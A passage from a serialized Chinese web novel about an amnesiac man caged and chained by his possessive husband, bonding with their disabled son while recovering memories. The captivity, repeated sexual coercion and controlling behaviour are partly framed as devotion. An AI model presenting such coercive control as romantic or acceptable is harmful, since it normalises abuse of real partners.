见余赋秋还是没有反应,长春春有些无措,他低下头,双手无意识地搅动着自己的衣角,轮椅微微挪动着,更加靠近了些,他想起了在无数张照片之中,在他难过的时候,余赋秋总是会张开双手,笑着半蹲下身,去拥抱他,揉着他的头发,告诉他,妈妈在这儿。
他慢慢地把脸颊贴在了冰冷的栏杆上,隔着栏杆,望着近在咫尺却又仿佛远在天边的余赋秋,这个动作充满了依赖和渴望,像是寻找一个温暖的小动物。
“妈咪。”
他唤道,声音更软,带着一丝不易察觉的委屈和撒娇,“笼子……冷。”
他蹭了蹭剩下的金属,“你冷不冷?”
他喃喃自语,“肯定冷的。”
他想起了医生叔叔和他说,冷就要去温暖的地方,而爸爸的怀抱就是个很温暖的地方,那他的怀抱是不是也是个很温暖的地方?
他慢慢地张开了手,“妈咪,来春春的怀里,春春的怀里很温暖。”
这句简单的关心,像是一把小小的刀子,刺入余赋秋已经冰冷的内心。
何止是冷,他几乎以为自己已经丧失了感知温度的能力,可是看着长春春贴着栏杆的脸,还有那份想要传递温暖的笨拙姿态,几乎让他以为自己被冻结的血液产生了一丝细微的波动。
他几乎是下意识地抬起了眸子,对上长春春的双眼。
长春春以及妈咪是默许了他的靠近,胆子稍微大了一点,他抬起小手,努力从栏杆的间隙伸了进去,很慢,很小心,生怕惊动了什么似的,指尖终于触碰到了一点余赋秋垂落在身侧的衣袖布料。
“妈咪。”他轻轻呼喊一声,“春春做了一个梦,梦见妈咪在花园里面,笑得很亮,比太阳还要亮,春春摘了一朵很漂亮的茉莉花想要给妈咪送过去,可是春春跑啊跑,总是,跑不到妈咪的身边。”
他顿了顿,声音低了下去,“后来……后来春春醒来了,看着妈咪的照片发呆。”
长春春的手指,固执地抓着他的衣袖,传递来一点点独属于他的、微弱的体温,那温度是如此的细小,却烫的他近乎要发抖。
余赋秋的眼眸动了动,他抬起手,覆在了长春春拉着他的衣角上面。
长春春的眼睛立刻亮了起来,像是被点燃的小小火苗,“妈咪!”他惊呼一声,“你看春春了,你看到了春春,是不是?”
余赋秋的嘴唇蠕动了一下,没有发出声音,指尖只是覆盖在长春春的指节上。
他没有说话,只是那样的看着长春春,任由长春春勾着他的衣角,阳光透过窗户、穿过鸟笼的栏杆,在他们之间投落下明暗交错的光影。
长春春得到了无声的回应,心满意足地叹了口气,把小脑袋靠在栏杆上,就这么静静地看着余赋秋,忽然他想起了什么。
回头看着一直安静注视他和妈咪互动的爸爸,他小心翼翼道:“爸爸,我可不可以来妈咪的房间里复健?”
他想,只要妈咪在,他就可以克服所有的障碍。
说不定他就会因此变得聪明,再也不是别人口中所说的笨小孩了。
“不可以哦。”长庭知看着他们的互动,心脏似乎被泡在棉花里面,软的一塌糊涂,看着脑袋逐渐垂落下去的长春春,他轻笑道:“复健会打扰到妈咪休息的,但是你可以平日里来陪陪妈咪,你问问妈咪同不同意?”
长春春立刻扬起脑袋,充斥着希翼的眸子望着余赋秋。
余赋秋在他的注视下,终于极其轻柔并且缓慢地点了点头,一个几乎不存在的动作。
但对长春春来说,已经足够了,他咧开嘴,露出了一个有些迟钝,小小的笑容。
“妈咪!”他开心道:“春春以后……每天都来看你!”
长春春被推了出去的时候。
长庭知打开了鸟笼的门,将蜷缩在角落的余赋秋抱在了怀里,低头亲吻着他的鬓发,嗅着他脖颈间令他痴迷狂热的温度,“你终于回来了……”
他喃喃道:“身上都是我们以前常用的味道了,你是我的了,你终于不是梦中的了。”
“春春很乖,我一直和他说,你有多么爱他,你亲眼看到了春春,这两年他被我养的很好,是不是?”
长庭知忽然拱入余赋秋的怀中,揽着他的腰,扬起脑袋,吻在了余赋秋的喉结上,“春春真的很想你,我也是。”
“你不要拒绝他,他会很伤心的,好不好?”
“不是为了我,也是为了春春,嗯?”
余赋秋抿着唇,被迫接收着长庭知的亲吻,他沉默半响,才嘶哑着声音开口:“这对于我来说,根本不公平。”
“你们现在对我来说,都是陌生人而已,我只是想过好我的生活……”
“什么你的生活?”长庭知亲吻他脖子的动作一顿,眼神晦暗,钳制他的下巴,轻声问道:“你的生活里面就是要有我和春春。”
“你本来就是我的妻子,我们没有离婚,你是我孩子的母亲。”
他指着被墙上的最中心,那是两张张开的结婚证,上面是余赋秋的身份证号和名字,全都无误。
“你说的不公平是指你现在不记得我们了吗?”长庭知的声音忽然柔软下来,含着笑意亲着他的下巴,“没关系,我们的时间还很多,未来还很长,我会让你想起来一切的,春春也是,你缺席了他过去的两年,但他未来的每一天,你都会在。”
“没有公不公平的,你不需要那种东西。”
“你有我就够了。”
余赋秋麻木地闭上了双眼,任由亲吻落在自己的肌肤上。
这或许是个机会,让长庭知放松警惕,他可以离开这里,去联系沈昭铭。
第79章 第79章[VIP]
日子像是窗台上缓慢移动的光斑, 一格一格地跳跃,看似重复,却在细微处发生着变化。
长春春果然每天都来, 起初只是安静地呆在一边, 他坐在轮椅上面,静静地坐在偌大房间里角落里面,而余赋秋则是安静地呆在床上, 他们两个人都没有说话,除非是长庭知过来,这种安静才会被打破。
后来长春春的胆子大了点, 开始絮絮叨叨。
“妈咪, 今天的粥,有点糊了。”他皱着小鼻子, 努力组织着语言告状, “爸爸知道妈咪不喜欢家里有外人,所以除了照顾春春必要的几个阿姨和叔叔,其他人都走了。”
“今天的粥是爸爸煮的,但是爸爸好像接了一个电话,一不留神, 火候过了。”
余赋秋起初毫无反应, 只是眼神涣散地望着虚空, 但春春并不气馁,他像是把这个当作每天必须完成的任务。
“窗外……有只鸟,但羽毛是蓝色的。”长春春拿出画笔, 画了一只简体的鸟儿, 在上面涂满了蓝色的绘画,然后他指着外边, 眼睛亮亮的,“叫得很好听,它是不是想进来?”
“妈咪,开,开窗,看看外面的阳光,今天的阳光很好。”
长春春摇着轮椅,咕噜咕噜的车轮声响彻在整个房间。
房间里很昏暗,除去床头那盏暖色的小灯之外,厚重的窗帘隔绝了大部分的光。
长春春伸手勾到了窗帘,然后慢慢地把它拉开了。
明媚的阳光透过窗户的缝隙倾洒而下,暖洋洋的。
不同于室内空调的暖气,而是一种来源于自然的温暖。
长春春小心翼翼地撇过头,见余赋秋有所感应,微微抬起了脑袋,看着窗户,他心下一喜,悄悄地挪开了两条缝隙,带着树木和花香的空气沁入心脾。
余赋秋的指尖几不可察地动了一下。
他带着茫然的目光看着窗外陌生的一切。
更多被阳光烘暖的风涌入,风里裹着泥土苏醒的气息,从他的角度望下去,可以看见远处新草的萌发,还有庭院里角落那几株早开的花的甜香,也许是玉兰,也是是连翘,丝丝缕缕的,几乎要将他包绕。
风吹动了余赋秋额前的碎发,发丝拂过他苍白的脸颊,他的睫毛剧烈地颤抖了几下,然后,终于完全抬起了眼。
窗外已经不全然是一望无际地高墙,在墙面上葱葱郁郁地爬满了嫩绿的颜色,阳光整片整片地挥洒下来,将他所在的笼子半边都染上炫目的金色。
这是他几乎已经遗忘的世界。
一只蓝色的鸟儿,拖着长长的尾巴,正轻盈地从一个枝头跳到另一个指头,偶尔发出一两声清脆短促的啼鸣。
长春春兴奋地指着:“妈咪,妈咪!就是这只鸟儿。”
“你看下面!”
余赋秋忍不住伸长脖子,探着身子去看望长春春指着的方向,只见在高墙之下,种植着成片成片的花圃,一簇簇明黄色的花朵开得艳丽,在风中轻轻摇晃,阳光给一切都镀上了毛茸茸、温暖的光晕。
……春天到了。
余赋秋恍惚地想。
他慢慢地转移视线,看着面前兴奋地,抚摸着飞到手上鸟儿的长春春。
在他被遗忘的囚笼之外,或许某处正在轰轰烈烈地重生,而他,刚刚被一阵风和一缕阳光,还有那一声声稚嫩的妈咪,从漫长的冬眠中,轻轻唤醒。
……
“妈咪。”
长春春刚进来不久,远处便传来隐隐的雷声,他有些不安地扭动了身子,看着窗外,“要下雨了。”
通过这段日子,长春春的陪伴,余赋秋的态度逐渐软和了下来,偶尔几次,他会主动的和长春春说话,去回答长春春的问题。
“爸爸说你害怕打雷,他马上就从公司回来了,春春先来陪你。”
长春春的复健结果也在往好处转,他的心理障碍正在被逐渐克服,行为举止也越来越正常。
潮湿的泥土气息,混合着被雨水激起的植物气息,从窗户的缝隙之中汹涌而入,那是一种极其原始的气味,余赋秋吸了吸空气。
长春春起初还有些害怕打雷,但见余赋秋似乎在看雨,他也逐渐地安静了下来,即便隔着一层栏杆,但房间里却出乎意料的安静。
忽然,余赋秋的嘴唇极其轻微地动了一下,声音很轻,但长春春却听的分明,“……以前。”
以前?
长春春屏住呼吸,眼睛亮亮地看着余赋秋。
余赋秋神情茫然,看着窗外的大雨,记忆的碎片被这相似的气息和声响勾起,零碎而模糊,“以前,下雨,你……”他停顿了很久,似乎在用力拼凑着破碎的记忆,“你会害怕打雷,会……躲起来。”
他挣脱了被子,手上的锁链随着他的动作哗啦哗啦响,却没打断余赋秋的思绪。
“你这么大,”余赋秋比划了下自己的手掌心,“好小好小,每次打雷你就会哭,哭的很大声。”
他似乎无奈地笑了一下,“每当这个时候,就要我抱着你,不,不,你一开始哭不是我……而是——”
他忽然顿住了。
脑海中闪过破碎的画面,一个名字,一个身影,一种感觉……呼之欲出。
是雨声,哗啦啦地砸在玻璃上面,混杂着怀中婴儿惊天动地的啼哭,他自己似乎也有些手足无措,眉目间是初为人父的慌乱,然后一双骨节分明的手伸了过来,带着令人安定的力量,将哭闹不止的长春春接了过去。
那人的怀抱很稳,低声哼着不成调的曲子,手掌轻轻拍抚着婴儿的背,灯光勾勒出那人低垂的侧脸线条,出气地柔和。
小小的长春春在那样安稳的节奏里面,哭声渐渐变成了小声的抽噎,最终只剩下困倦的哼唧声音。
接着,画面一转。
哭累的春春在余赋秋的怀中沉睡着,小脸还挂着泪痕,嘬着奶嘴小声地吞咽着。
那人走进,身上还带着室外的微凉水汽,慢慢地俯身,一个轻柔如羽毛的吻,落在了余赋秋的额头上。
余赋秋的身体轻轻颤抖着,仿佛那个吻的触感穿越了时空,再次烙印在皮肤上。
“别怕。”
那人的声音在记忆中的碎片响起,低沉却分外的温柔,在那个阴沉的雨天中,仿佛能驱散世界上的一切风雨。
余赋秋的怀中还抱着沉睡的婴儿,那人宽厚温暖的掌心却捂住了他的耳朵,带着绵绵情意的声音在耳边响起,他说:“打雷也好,天黑也好,都有我在。”
眸光像是融化的暖玉,专注地凝视着他,里面只有余赋秋的身影。
他揉着余赋秋的耳朵,“我会永远在你的身边。”
永远——
这个字眼好遥远。
“然后呢,然后呢,妈咪!”
长春春把脸搭在掌心中,眨巴眨巴眼,望着余赋秋。
余赋秋看着他酷似长庭知的眉目,失了神。
他喉头滚动了利郎下,心脏像是被一只乌无形的手攥紧、拧搅,几乎要让他喘不过气来。
那个人是谁?
那个人是谁——!
“他,他会哄着你睡觉,只有在他的怀抱中,你才能睡得晚安,那么点大的你,嘬着奶嘴的样子真的很可爱……”
“然后,他也会抱着我,把我抱在怀中,我们就这么安静地坐在地毯上,看着落地窗前的雨夜,他会把下巴抵在我的头发上,我靠在他的怀里,听着那鼓动的心跳声,你在我的怀抱里安然地入睡——”
那一刻——
我就是世界上最幸福的人。
可是那个人是谁?
“噢!我知道了,一定是爸爸!”
长春春的双手越过栏杆,轻轻地抓着余赋秋冰凉的手,“春春虽然笨,但记起来了很多的东西,爸爸每晚都会抱着妈咪睡觉,妈咪的双手双脚每晚都会很冷,爸爸就会用妈咪说的这个姿势把妈咪抱在怀中。”
他嘟着嘴,“之前一次,春春的生日,愿望就是想要妈咪抱着春春睡一个晚上,给春春讲小山羊的故事,可是爸爸这个小气鬼!”
“明明春春只是说了只要妈咪一个人,第二天起来的时候,春春已经被挤到了墙角,妈妈就这么窝在爸爸的怀里,就是妈妈说的那个姿势。”
余赋秋一愣。
他在过去的两年中,是知道自己体寒,尤其到每天晚上更深,即便生活在南半球,一整年气候都四季如春的国家也依旧改变不了四肢冰冷的毛病,也是偶然间,沈昭铭知道了他的毛病,特地会Z国给他配了中药,想要改变他体寒的毛病,但只是治标不治本。
长春春这么一说。
余赋秋才逐渐想起来,他被长庭知强行带回来后,很少再半夜被冻醒,反而整个人被拥入了一个火炉似的。
而他心悸的毛病也很少犯了。
“妈咪?”
长春春见余赋秋不说话,有些忐忑不安,“春春,说错了什么吗?”
余赋秋还想说话,但他听到了长庭知回来的动静,抿了抿唇,神色逐渐温柔了下来,“春春,明天……给你讲小山羊的故事,好不好?”
长春春雀跃起来,小心翼翼地伸出拇指,“那……拉勾勾好不好?”
余赋秋的心软了下来,伸出指尖,和他拉钩,随即轻轻地嗯了一声。
长夜沉沉,冰冷的月光被厚重的窗帘阻隔在外,余赋秋沉沉睡去,意识却立刻被拖入了光怪陆离的梦境深渊。
梦里没有冰冷的栏杆,没有满墙令人窒息的照片。
光线是柔和的暖黄色,空气里飘着淡淡的、令人安心的皂角清香。
他怀里抱着一个软乎乎的襁褓,春春睡得正香。
屋外隐约传来雨声,但并不让人害怕。
然后,他听到了脚步声,沉稳,熟悉。
一个身影从厨房的方向走来,手里端着一杯冒着热气的牛奶。
这个梦里的长庭知,穿着柔软的居家毛衣,袖口随意挽起。
他的眉宇间没有一丝一毫的冰冷与戾气,眼神清澈温润,像春日午后晒暖的湖水。
他走近,先是将牛奶轻轻放在余赋秋手边的茶几上,然后弯下腰,极其自然地在余赋秋微微仰起的额头上落下一个吻。
那吻轻柔,珍重,带着无需言说的亲昵与爱意。
“吵到你们了?”他的声音压得很低,怕惊扰了孩子,含着笑,抬手极其轻柔地拂开余赋秋颊边一缕发丝,“雨快停了。”
余赋秋在梦里仰头看着他,心中充满了宁静的、几乎要满溢出来的暖意。
他张了张嘴,想说“没有”,却发现自己发不出声音。
而梦里的长庭知只是温柔地笑着,蹲下身,用手指小心翼翼地碰了碰春春熟睡的小脸,满眼都是为人父的柔软。
他眸光眷恋,仔仔细细地看着余赋秋,似乎在做一种无声的告别。
梦境毫无预兆地开始扭曲、褪色,暖黄的光晕被黑暗吞噬。
“不……别走……” 余赋秋在梦中无意识地挣扎,发出破碎的呓语。
他伸出手,徒劳地想抓住那片正在消散的幻影。
现实与梦境的边界在此刻彻底模糊。
他感觉到身边似乎有人的气息,有衣料的摩擦声。
在半梦半醒的混沌之间,在绝望和渴望的驱使下,他凭着本能,胡乱地伸出手,竟真的抓住了一小片微凉的衣角。
“还给我……” 他紧紧攥着那片衣角,像溺水者抓住最后一根浮木,眼泪在紧闭的眼睫下不断涌出,浸湿了苍白的脸颊。
他的声音含糊不清,带着浓重的哭腔和梦魇中的颤抖,却一字一句,清晰得如同泣血的哀求:“把他……还给我……求求你……把长庭知……还给我……”
他感受着身旁那道身影的僵硬,半梦半醒之间,余赋秋迷迷糊糊地睁开了眼,看到了梦中那张眷恋的脸出现在他的面前,他笑着,眼尾划过泪。
“真好,你还在……小树,小树……”
他在长庭知的怀中找了个舒服的位置,头紧紧埋在长庭知的怀中,听着令他安心的心跳声沉沉睡去。
长庭知却僵住了。
每一个字,都像一把烧红的钝刀,狠狠地、缓慢地剜进他的心脏。
’剧烈的疼痛瞬间席卷全身,让他几乎气血翻涌,只能凭借着惊人的自制力,死死压抑住喉咙里涌上的血腥气。
他脸上的表情晦暗不明,只有那双紧紧盯着余赋秋泪痕的深黑眼眸,翻涌着滔天的巨浪。
长庭知慢慢地抬起另一只手,似乎想触碰余赋秋湿漉漉的脸颊,或是抚平他梦中紧蹙的眉头。
但指尖在即将触及时,骤然停住,然后猛地蜷缩起来,握成了拳,指甲深深陷入掌心,留下几个血痕。
他低头轻声道:“明明他都消失两年了,为什么……你不能看看我?”
作者有话说:
看看你?你配吗你。
第80章 第80章[VIP]
冰冷的日子在长春春频繁的来之中, 有了些许微弱的暖色,那些关于‘从前’的碎片,不再只是刺痛余赋秋的尖刺, 有时候也会在长春春懵懂追问或者不经意的动作间, 显露出模糊而柔软的轮廓。
“妈咪?”
长春春坐在地上,拿着从花圃里摘下的花,往小布包里填充, 忽然这个时候,他感觉自己的身后传来了热源,他身体一僵。
感受着身后的那道热源逐渐的靠近, 长春春下意识地回头, 在看见余赋秋那张脸的时候,他呼吸停滞了一瞬。
他这段时间以来, 几乎每天都来余赋秋的房间, 和余赋秋分享自己今天碰到、遇见的事情都会和余赋秋分享,虽然大部分都是长春春自己的自言自语,余赋秋偶尔会对他轻轻嗯一声。
他虽然没有回应,但总是侧耳倾听长春春的趣事,甚至是烦恼。
爸爸没有再关上鸟笼的锁, 但余赋秋和长春春谁都没有去打开那扇门, 只是一个在听, 一个在说。
这是第一次,余赋秋打开了鸟笼的门,锁链的声音回荡在房间里, 他停在了长春春的身后, 他坐在长春春的身边,目光落在朴素的小布包上, “这是什么?”
“这,这是……”长春春捏着小布包的手指一僵,“王阿姨说,这个可以暖手。”
他打开了小布包,里面布满着淡淡的薰衣草干花香。
长春春下意识地把小布包贴在余赋秋的脸上,“这个这个!春春以前的学校做过这个,会很舒服的妈咪!”
他伸出自己的手,轻轻搭在余赋秋的手背上,笨拙地做了个‘捏’的动作。
“妈咪以前的手,”他努力地回忆着,词汇匮乏却认真:“香香的、软软的,会这样,捏着春春的手,然后……”
“春春哭了,捏捏就不痛了,春春怕黑,捏捏就不怕了。”
他说的断断续续,眼神却亮亮的。
余赋秋心中的酸涩感几乎要溢满出来。
他低头看着那双小小白嫩的手,明明才九岁的孩子,手背上却满是肉眼清晰可见的针孔,疼的喘不上气。
这是他的孩子啊。
他小心翼翼的样子让余赋秋眼眶酸涩。
长春春这段时期的动作和惶恐,他都看在眼里。
长春春怕他不开心,怕他生气,所以每次他想要触碰自己的妈咪,不是和其他小孩一样扑进怀中,而是小心翼翼却又害怕地问,可以吗?
他想要分享自己的一切给余赋秋,但他在说完了后,又会问道,妈咪,我吵到你了吗?
他说春春不会说话,他们都说春春是笨蛋,但是春春现在很努力在复健了,很努力想要变聪明,不会给妈咪丢脸的。
他说到最后,声音越来越小,揪着自己的衣裳,说春春不会告诉别人,春春是妈咪的孩子,因为妈咪不喜欢这样。
余赋秋问谁教他这样说的。
长春春茫然地抬起头,摇了摇头,说没有人教他这样说。
后来,余赋秋也听过外面的闲言碎语,拼凑出了一点点记忆中的真相。
他和长庭知是娱乐圈恩爱的夫夫,长春春是他们的孩子,但在某天,不知道为何,经历了一种很大的变故,余赋秋丧失了先前所有的记忆,只记得最近两年的记忆。
可是看见长春春,他的心脏又抑制不住的疼,那是一种即便忘却了所有的记忆,但却依然刻印在骨子里的印记。
余赋秋张开了双手,慢慢地把长春春的手包裹在其中,抚摸着他的双腿,“我是你的妈咪。”
“虽然我忘记了所有的记忆,但是我们的血缘关系不会变化。”
他停顿了一下,脑海中却响起长庭知支支吾吾和王阿姨无意间透露的事情。
他问长庭知,长春春的腿是怎么受伤的,按照长庭知的财力,不可能会让一个健全的孩子变成如今这般的模样,更何况,他这么爱余赋秋,怎么可能真的让他们的孩子受到这么大的伤害。
长庭知只是沉默了一瞬,把他捞进怀里,下巴抵在他的头发上,就像是无数夜间那般一样,“……我已经惩罚了凶手,春春是为了保护……没什么,睡吧。”
王阿姨抹着眼泪,对他说:“您是不知道,小少爷变成如今的模样,是出了车祸,当初那辆车原本撞的不是他,他为了保护别人,甘愿自己挡在车前……”
那些被遗忘破碎的记忆缓缓地浮出了水面,长春春是为了保护他。
而且不止一次。
“……我很抱歉,让你变成了这样的模样。”
“我想,过去两年你一定遭受了很多的痛苦。”他缓缓对着长春春伸开双手,语气温柔:“妈咪虽然还是没想起来,可是我的心脏告诉我,你是我的宝贝。”
“你可以和很多的孩子那样,扑进妈妈的怀中撒娇,不用那么小心翼翼的,春春。”
“在这里,在妈咪的面前,你不用害怕。”
……
不用害怕?
长春春愣愣地看着那双张开的双手,无意识地重复着这四个字,那温柔的话语像是裹着细碎的暖意,撞得他鼻尖一酸,迟了两年的委屈忽然就决堤般涌了上来。
“妈……妈咪。”他轻声道:“你不知道,他们都有妈咪抱。”
“春春曾经想要走出去,想要重新和很多的小朋友一起玩耍,所以哀求爸爸把我送到了学校里面,……”他抿唇道:“朵朵摔倒了,她妈妈会跑过来吹吹她的膝盖,说着宝贝不怕,浩浩哭了,他的妈妈会把他搂在怀里,给他买草莓味的糖果。”
长春春的小手紧紧攥着衣角,指甲几乎要嵌入布料里面:“我的腿脚不好,我想去参加春游,我努力地站起来,但我摔倒了,只能自己爬起来,就算是膝盖了破了流血,也只能咬牙说不疼。”
“他们说春春是没有妈妈的孩子,爸爸的公司太忙了,从来没有来给春春开过家长会,他们就说爸爸不要春春了,说我是……没人要的野种。”
“我想反驳,可是我不敢……爸爸总是很忙,他要开会,要出差,要寻找妈咪,春春知道爸爸都是为了春春的未来变得更好。”
“所以春春从来不敢打扰他,连给他打电话都要想好久好久。”
“有一次,我发烧了,烧的好烫好烫,躺在床上喊妈咪,但身边只有王阿姨,我不要,我不要她。”那双漂亮的眼睛里蓄满了泪水,他不再犹豫,猛然扑进了余赋秋的怀中,眷恋地埋入他的衣物间,汲取着妈咪的味道。
“我跑去爸爸的房间里面,抱着你的照片,一遍遍喊你的名字,可是你不会答应我,他们都说,是你不要我了,是爸爸伤害了你,你离开了爸爸,也不要春春了,所以才走的。”
“妈咪,我好想你,我真的好想你。”
“我看到爸爸很多次深夜坐在玄关门口,烟抽了一只又一只,他抱着你的照片,不知道说什么,灯光把爸爸的背影拉的好长好长。”
“但春春希望是那个爸爸回来,那个爸爸回来,妈妈是愿意的,如果妈妈回来是不快乐的,那么春春见不到妈妈,也是可以的。”
他把自己的心口紧贴在余赋秋的心口上,“春春其实记起来了一些,爸爸不是那个爸爸,所以我很矛盾,希望妈妈回来又不要回来。”
爸爸……
不是那个爸爸?
什么意思。
余赋秋的神情一顿,但他没多问,只是轻轻抬手,抚摸着长春春哭的呛咳的背部。
“爸爸在XX日的前一晚,对着春春笑着说找到妈咪了,只是妈咪变得很不乖,还没有离婚,就给春春找了后爸。”
“春春知道,因为带妈咪走的就是沈叔叔,他救了妈咪。”
沈昭铭?
知道春春的存在?
余赋秋的呼吸停滞了一瞬,为什么沈昭铭从来没有和他说过?
“妈咪,你快乐吗?”
长春春抬起泪眼模糊的脸,郑重又认真地看着余赋秋。
余赋秋沉默了。
任谁被一个毫不相干的人破坏了婚礼,被囚禁在这个地方,被迫侵.犯一次又一次,他怎么可能会快乐?
可是……
偏偏那个人又抓住了他的软肋,知道他最想要的什么。
给他一个家,给了一个他留在世界上的血脉,让他知道,他在这个世界上并不是孤单的,并不是孤身一人的。
沈昭铭那样的家庭不可能真正的容纳他,在沈昭铭的母亲求着他离开沈昭铭,甚至自杀那一刻,沈昭铭面色晦暗,面色疲倦,他看着余赋秋,张了张嘴,却什么也没说。
那一刻,余赋秋就知道了,沈昭铭犹豫了。
他没有记忆,身体又虚弱,尤其是心脏的疾病不可逆,他不知道自己还能坚持多久,为了报答沈昭铭的恩情,他答应了沈母的要求。
但其实——
他渴望被爱。
渴望有人坚定地选择他,将他牢牢地抱在怀里,说爱他,给他一个完整的家。
他从来都是……
孤身一人。
直到长庭知抓住了他。
以这种极端的方式。
作者有话说:
现在打寒假工,晚上十点四十才下班……赶紧来码字QAQ好累好累。《 》
80-90
第81章 第81章[VIP]
“球球。”
“球球。”
“宝宝, 宝宝。”
“老婆,老婆。”
余赋秋有些烦躁,紧蹙着眉头, 从睡梦中缓缓醒来, 本身他睡眠就很浅,这段时间在长春春的陪伴下面,紧绷的神经才勉强放松了一瞬, 偏偏晚上的时候长庭知又不安分。
他半瞌着眼,在小夜灯的照耀下,看到了面前这张放大的脸。
这张脸同过去两年的逐渐重合了起来, 过去的两年, 他睡眠也不好,更多的是一个人从寂静的深夜里面醒来, 这张脸无数次出现在他的梦中。
他捂着心口, 大口大口地喘着粗气。
这张脸出现的都是在他的噩梦中,他记不得具体的内容,但总是会下意识的战栗着。
他每一次的呼吸,都牵扯着剧痛,从心口处炸开, 迅速蔓延至左肩和后背, 他出了一身的冷汗, 眼前阵阵发黑。
过去的两年,沈昭铭知道他心脏的问题,心脏的药物随身携带。
“唔……”
长庭知止不住地在他的身上蹭来蹭去, 双手紧紧抱着余赋秋的腰, 他白天公司忙,但最近, 随着长春春和余赋秋的关系越来越亲近,他反而留在家里的时间越来越多了,他说要多陪伴自己的妻儿,钱还可以再赚,但是时间却是没有办法停留的。
但其实……
他是害怕。
害怕褚宝梨说的那些事情成真,他看见自己抱在怀中的余赋秋的身体逐渐冰冷,然后被火燃烧,成为了一抔骨灰,他拼命的想用手抓,却只是徒劳。
褚宝梨冷着脸,把手上的纸张扔给他。
长庭知抓起来一看,是‘死亡通知书’。
他惊醒过来,一醒来就找寻余赋秋的存在,直到怀中那温热的身体通过肌肤的脉络传递在他的手心,他才长长地松了一口气。
这一切都是假的。
他的球球还在。
只是失忆了,只是生病了。
只要他一直陪伴在他的身边,球球就一定会记起他的。
那个长庭知是他,他也是那个长庭知,他快要融合那个长庭知的记忆了,他们不分你我,他们就是一体的。
他再也不是孤身一人了,他再也不会一个人在深夜惊醒了。
可他睁开眼,却是余赋秋面色惨白,捂着心口,呼吸急促,胸口剧烈的起伏。
他的球球,怎么了……
“……药。”
余赋秋捂着心口,语气颤抖着,他却不想看见那张脸,越看那张脸,他的心口越疼。
“药?”
长庭知一愣,“什么,什么药。”
余赋秋艰难地说出药的名字,恰好在他的行李之中,就备着这个药。
他除了刚开始的那套衣服之外,只有一个小小的,不起眼的行李箱,那是他原本打算和沈昭铭办完结婚仪式之后,去蜜月旅行用的,是和沈昭铭的情侣款,在箱子的把手上,刻印的两个爱心,一个名字写着余赋秋,一个名字写着沈昭铭,两个名字交错起来,竟有种别样的美感。
长庭知在看见那个行李箱的时候,暴怒的差点砸了整个行李,但他不敢,这是他仅剩所能得到余赋秋的东西。
只是他把那个箱子深深地埋入了衣帽间的最深处,从来没有打开过,他下意识地抵触这个箱子,那里面装着过去两年的气息,是他没有参与的余赋秋的生活。
但现在,这排斥让位于更实际的、也更能刺痛他的需求。
长庭知几乎没有犹豫,长腿跨过,走入衣帽间,他拉开那个行李箱的拉链,将里面折叠整齐的衣物和零碎物品一股脑地倒在地上。
在几件柔软毛衣的夹层里面,他摸到了一个坚硬的分格药盒,他把药盒抽出来,指尖捏着这个小盒子,走回床边。
药盒是淡蓝色的,上面没有任何的医院标识,但里面分门别类,摆放着不同的药物和胶囊,每个格子旁边都用黑色的记号笔,写着工整并且认真的服用说明。
早上起来、空腹,白色小片,一粒。
餐后,黄色的胶囊,两粒。
心脏疼,含绿色的胶囊,一日不超过三计。
ps,球球怕苦,吃完后拿最下边的白糖让他含服。
笔记是沈昭铭的,长庭知认得。
这个字和他这个人一样讨厌,长庭知咬紧牙关,脸上的青筋暴起。
“吃哪个?”
长庭知轻声道,把药片递给了余赋秋。
余赋秋已经疼的满头大汗,双眼微微地失神,他愣愣地摇了摇头,艰难道:“我……我不知道,每次都是昭铭配好哄着我吃下的,我只要随身带这个就好……”
沈昭铭。
又是沈昭铭。
长庭知的指尖用力到发白,明明现在陪伴在余赋秋身边的是他!
是他长庭知!
可偏偏,沈昭铭的存在无处不在。
在他们欢.爱到最深处的时候,余赋秋瞳孔失焦,被逼到不得不求饶的时候,他才会抱着长庭知的脖子,讨好地扬起脑袋,在他的脖子蹭了蹭,软着声音道:“昭铭,轻,轻点。”
“我,我受不住的。”
长庭知动作停了一瞬,换来的是更加猛烈的攻击。
他知道,余赋秋一定是骗他的。
他还在生他的气。
他一定是赌气的。
他这么爱他,怎么可能出.轨呢?
所以长庭知选择了隐忍,没有问。
可是每次到深夜的时候,余赋秋会蜷缩起来,背对着他,暗自啜泪,小声地如同小兽般一直喊着沈昭铭的名字。
甚至在他和长春春玩耍的时候,也会偶尔的愣神,长春春问他怎么了,他指了指窗外的那束花,说:“昭铭对花粉过敏,尤其是这种花,但他又很喜欢这种花,之前在京都有一次碰到了这种花,他不信,非得去捧着花拍照,结果进了医院,哈哈哈真的是……”
而现在……
在他脸色苍白,近乎濒死的时刻,他喊得还是沈昭铭的名字。
这种用药指南,更像是一种无声的宣告——
宣告在过去的七百多个日夜里面,是沈昭铭代替了他的位置,细致入微地照料着余赋秋的健康,是沈昭铭一直陪伴在余赋秋的身边。
在余赋秋的记忆中,沈昭铭才是他的丈夫,他的爱人。
长庭知深深闭上了眼,颤抖着手,打开了盒子,然后拿起那片绿色的药片,轻柔地为余赋秋递了过去。
余赋秋依赖地倚靠在长庭知的怀抱中,在药物咽下的一瞬间,心脏的疼痛被缓解了,他闭着眼睛,亲昵地仰起头蹭了蹭长庭知的脖子,“好苦,我的糖呢昭铭。”
“唔,昭铭,你啥时候变这么……大了?”余赋秋伸手摸了摸长庭知的喉结,“喉结变这么尖了,亲起来好累的……”
“罚你亲亲我……”
“你怎么还没亲我呀,我嘴里都是药,你嫌弃我了?你是不是又要说要去复查了呀,我听话的哟。”
长庭知闭了闭眼,强行压下翻涌的情绪,他嘶哑着嗓音说:“……我是谁。”
刚刚还带着撒娇语气的余赋秋一顿,他感觉自己的血瞬间冰冷下去,他睁开眼,哪有什么沈昭铭,只有长庭知,双眼赤红的长庭知在黑暗中,仿佛是个恶鬼。
“我……我……”
过去的两年,他们到底有多亲密?
这个念头如同毒蛇,钻入长庭知的脑海中,吃完药后的亲吻,肌肤的相贴,还是在余赋秋每个被惊醒的夜晚,像自己刚才那样,把他抱在怀中,安抚着他的恐惧?
甚至……
余赋秋的心脏问题,是不是也和沈昭铭有关?
为他心疼?
每一种猜测都让长庭知胸口的戾气翻滚着。
“你生病了。”长庭知抱着他,自己点了点头,道:“我真的很想你。”
“他们都骗我,说你死了,连春春都劝我放弃寻找你。”
“真好,我还是找到了你们。”
余赋秋抿着唇,身体却哆嗦着,药效还没过,他却自己的心脏又开始疼了。
忽然,他感知到自己的手上有冰冷的东西。
在晚上的时候,他才是自由的。
长庭知会进入鸟笼,把他抱在怀里,解开他双手双脚的链条。
余赋秋低下头,看见自己的无名指上被套上了一枚戒指。
